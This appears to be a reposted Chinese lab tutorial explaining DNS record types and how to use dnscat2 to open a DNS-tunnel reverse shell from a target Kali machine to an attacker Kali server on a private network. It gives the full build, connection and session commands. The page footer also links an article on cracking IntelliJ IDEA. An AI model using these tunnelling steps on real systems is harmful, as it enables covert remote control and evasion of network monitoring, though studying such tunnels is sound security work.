阿一课代表今日分享之使用dnscat2 进行dns隧道反弹shell(直连模式linux对linux)

news2024/9/17 8:41:50

DNS介绍

DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS的记录类型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。

AAAA记录:记录将域名解析到一个指定的ipv6的ip上

CNAME记录,别名解析。可以将注册不同的域名解析到一个ip地址。

NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。

MX记录:指向的是一个邮件服务器。

TXT记录:一般是指某个主机名或域名的说明

PTR记录:反向DNS

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

本地客户端---->Local DNS server---->根域服务器

Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。

Dnscat2工具介绍

Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
Dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以 dnscat 开头的,因此防火墙可以很容易地将直连模式的通信检测出来

环境搭建

攻击机/服务端

kali/2024

192.168.227.128

靶机/客户端

kali/2023

192.168.227.130

linux服务端搭建

git clone https://github.com/iagox86/dnscat2.git 下载dnscat2工具

cd dnscat2/server/ 进入server目录,因为我们这里是搭建服务端

gem install bundler
gem install bundler 是一个在 Ruby 环境中使用的命令,用于安装 Bundler 这个 gem(gem 是 Ruby 的包管理器)Bundler 是一个帮助管理 Ruby 项目依赖的工具,它可以确保你的项目在不同的环境中使用相同版本的 gems

apt-get install ruby-dev
ruby-dev 包包含了 Ruby 的头文件和静态库,这对于编译和安装需要构建本地扩展的 Ruby gems 是必需的

bundle install
在 Ruby 项目中,当你看到 bundle install 命令时,它通常用于安装项目所需的依赖包。这个命令是 Bundler 这个 Ruby gem 的一部分,Bundler 是一个管理 Ruby 项目依赖的工具

linux客户端搭建

$ git clone https://github.com/iagox86/dnscat2 /*下载工具*/
$ cd dnscat2/client/                           /*进入目录*/
$ make                                         /*使用makefile来编译客户端*/

Dnscat2反弹shell

1.首先在服务端运行

ruby ./dnscat2.rb

红色方框中的这段复制到客户机上,记得把IP换成服务端IP:

这里就是192.168.227.128(kali2024的ip)

./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256

客户端操作

./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256

服务端反馈及操作

windows   列出所有隧道
当前建立好了一条隧道

window -i 1   连接客户端1通道 1表示隧道建立的窗口号

隧道内的操作命令

help可查看控制台支持的命令,常用的有:

quit (退出控制台)

kill (中断通道)

set(设值,比如设置security=open)

windows(列举出所有的通道)

window -i (连接某个通道)

连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

clear(清屏)

delay(修改远程会话超时时间)

exec(执行远程机上的程序)

shell(得到一个反弹shell)

download/upload(两端之间上传下载文件)

supend(返回到上一层,等于快捷键ctrl+z)

exit(退出dnscat2)

反弹shell

在当前隧道内输入shell就会创建一个会话回来
shell

ctrl+z返回到上一层      

然后我们需要进入这个会话
window -i 6

查看ip

总结

大致步骤就是:

进入服务端的目录下:安装Bundler 这个帮助管理 Ruby 项目依赖的工具-->安装Ruby 开发包-->安装Bundler 项目所需的依赖包

进入客户端的目录下:make(这个命令会尝试使用 Makefile(如果存在的话)来编译客户端。Makefile 是一个脚本,它告诉 make 命令如何编译和链接程序。)

启动服务端(ruby ./dnscat2.rb)将里面的连接代码去客户端运行(默认端口为53

隧道建立好以后help有一些后续操作,反弹shell直接输入shell就行了

ctrl+z返回到dnscat2界面输入windows查看所有通道,然后进入window -i id反弹回来的shell会话

然后就可以正常执行命令操作目标机器了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1918432.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

The First项目报告:创新型金融生态Lista DAO

一、Lista DAO是什么? LISTA是Lista DAO的原生加密协议代币,设计为一种可互操作的实用代币,旨在促进去中心化金融(DeFi)领域内的支付、治理与激励。LISTA的诞生源于Lista DAO项目,该项目是一个基于BNB链的…

IntelliJ IDEA 2024.1.4最新教程!!直接2099!!爽到飞起!!

IntelliJ IDEA 2024.1.4最新破解教程!!直接2099!!爽到飞起!!【资源在末尾】安装馆长为各位看官准备了多个版本,看官可根据自己的需求进行下载和选择安装。https://mp.weixin.qq.com/s/Tic1iR_Xc…

【一文带你了解RAG(检索增强生成) | 概念理论介绍+ 代码实操(含源码)】

文末有福利! 引言 针对大型语言模型效果不好的问题,之前人们主要关注大模型再训练、大模型微调、大模型的Prompt增强,但对于专有、快速更新的数据却并没有较好的解决方法,为此检索增强生成(RAG)的出现&am…

【简历】南京某一本大学:JAVA简历指导,基本拿不到offer

注:为保证用户信息安全,姓名和学校等信息已经进行同层次变更,内容部分细节也进行了部分隐藏 简历说明 这份简历是一个一本计算机专业的同学。一本同学在校招的时候,要做好自己的求职层次定位,因为像工业类、邮电类、…

【JavaScript 报错】未捕获的URI错误:Uncaught URIError

🔥 个人主页:空白诗 文章目录 一、错误原因分析1. 不合法的URI字符2. 不匹配的编码 二、解决方案1. 检查URI字符2. 使用try-catch块 三、实例讲解四、总结 Uncaught URIError 是JavaScript中常见的一种错误,通常发生在全局URI处理函数&#x…

前端如何取消接口调用

🧑‍💻 写在开头 点赞 收藏 学会🤣🤣🤣 1. xmlHttpRequest是如何取消请求的? 实例化的XMLHttpRequest对象上也有abort方法 const xhr new XMLHttpRequest(); xhr.addEventListener(load, function(e)…

程控水冷阻性负载是否有替代品出现?

程控水冷阻性负载是广泛应用于工业生产过程中的设备,主要用于冷却和控制电阻性负载。然而,随着科技的不断发展,新型的冷却和控制设备不断涌现,使得程控水冷阻性负载面临着替代品的挑战。 空气冷却系统是一种可能的替代品&#xff…

形态学图像处理

1 工具 1.1 灰度腐蚀和膨胀 当平坦结构元b的原点是(x,y)时,它在(x,y)处对图像f的灰度腐蚀定义为,图像f与b重合区域中的最小值。结构元b在位置(x,y)处对图像f的腐蚀写为: 类似地,当b的反射的原点是(x,y)时,平坦结构元…

C++ 【 Open3D 】 点云按高程进行赋色

一、 Open3D中根据点云的高程度信息为点云中的每个点附上颜色&#xff0c;并保存颜色渲染结果&#xff01; #include<iostream> #include<open3d/Open3D.h>using namespace std;int main() {//-------------------------------读取点云--------------------------…

FastAPI 学习之路(四十三)路径操作的高级配置

在实际开发中&#xff0c;可能我们有些接口不能在接口文档中与其他业务接口一样开放给前端或者其他对接人&#xff0c;那么我们肯定会想着在接口文档中对其进行屏蔽隐藏操作&#xff0c;那么可以实现吗&#xff1f; 接口文档中隐藏接口 当然&#xff0c;还很简单&#xff0c;…

利用Hbuilder创建vue3的web项目

大体流程如下 npm install vue-router4 下载完&#xff0c;就创建完了

Redis基础教程(二十):Java使用Redis

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; &#x1f49d;&#x1f49…

springboot大学校园二手书交易APP-计算机毕业设计源码25753

摘 要 在数字化与移动互联网迅猛发展的今天&#xff0c;人们对于图书的需求与消费方式也在悄然改变。为了满足广大读者对图书的热爱与追求&#xff0c;我们倾力打造了一款基于Android平台的图书交易APP。这款APP不仅汇聚了海量的图书资源&#xff0c;提供了便捷的交易平台&…

java使用easypoi模版导出word详细步骤

文章目录 第一步、引入pom依赖第二步、新建导出工具类WordUtil第三步、创建模版word4.编写接口代码5.导出结果示例 第一步、引入pom依赖 <dependency><groupId>cn.afterturn</groupId><artifactId>easypoi-spring-boot-starter</artifactId><…

旗晟智能巡检机器人:开启工业运维的智能化新篇章

在当今快速发展的工业领域&#xff0c;安全、效率和成本控制是企业运营的核心。旗晟科技以创新为驱动&#xff0c;推出了一站式的工业级智能巡检机器人数字化全景运维解决方案&#xff0c;为石油、天然气、化工、电力等高危行业提供了一个全新的运维模式。 一、面对挑战&#x…

在 Linux 上设置 RAID 阵列的全面指南

引言 在这篇博文中&#xff0c;我们将深入探讨如何在 Linux 上设置 RAID 阵列。本文将涵盖 RAID 的定义、架构、原理、应用场景、常见命令体系&#xff0c;并通过详细的实战模拟展示如何在 Linux 系统上实际操作。希望通过这篇文章&#xff0c;您能深入理解 RAID 技术&#xff…

初识C++ | 基本介绍、命名空间、输入输出、缺省函数、函数重载、引用、内联函数、nullptr

基本介绍 C的起源 1979年&#xff0c;当时的 Bjarne Stroustrup 正在⻉尔实验室从事计算机科学和软件⼯程的研究⼯作。⾯对项⽬中复杂的软件开 发任务&#xff0c;特别是模拟和操作系统的开发⼯作&#xff0c;他感受到了现有语⾔&#xff08;如C语⾔&#xff09;在表达能⼒、可…

获取网页logo图标

怎么获取网页logo图标的URL链接 第一种方法&#xff1a; 最常用的方法&#xff08;适用于90%的站点&#xff09;是&#xff0c;直接在访问网址首页链接后加上上/favicon.ico&#xff0c;例如&#xff1a; https://www.baidu.com/favicon.ico 第二种方法&#xff1a; 按F12&…

Photoshop套索工具使用指南:解锁自由选区的艺术

在Adobe Photoshop的强大工具箱中&#xff0c;套索工具组是每位图像处理爱好者与专业人士的得力助手。这组工具&#xff0c;包括套索工具、多边形套索工具和磁性套索工具&#xff0c;为用户提供了高度灵活的选择区域方式&#xff0c;无论是处理复杂的图像边缘还是进行精细的抠图…

Flexcel学习笔记

1.引用的单元 FlexCel.Core 始终需要使用的一个单元。 多系统运行时。{$IFDEF LINUX}SKIA.FlexCel.Core{$ELSE}{$IFDEF FIREMONKEY}FMX.FlexCel.Core{ $ELSE}VCL.FlexCel.Core{$ENDIF}{$ENDIF} FlexCel.XlsAdapter这是FlexCel的xls/x引擎。如果您正在处理xls或xlsx文件&#x…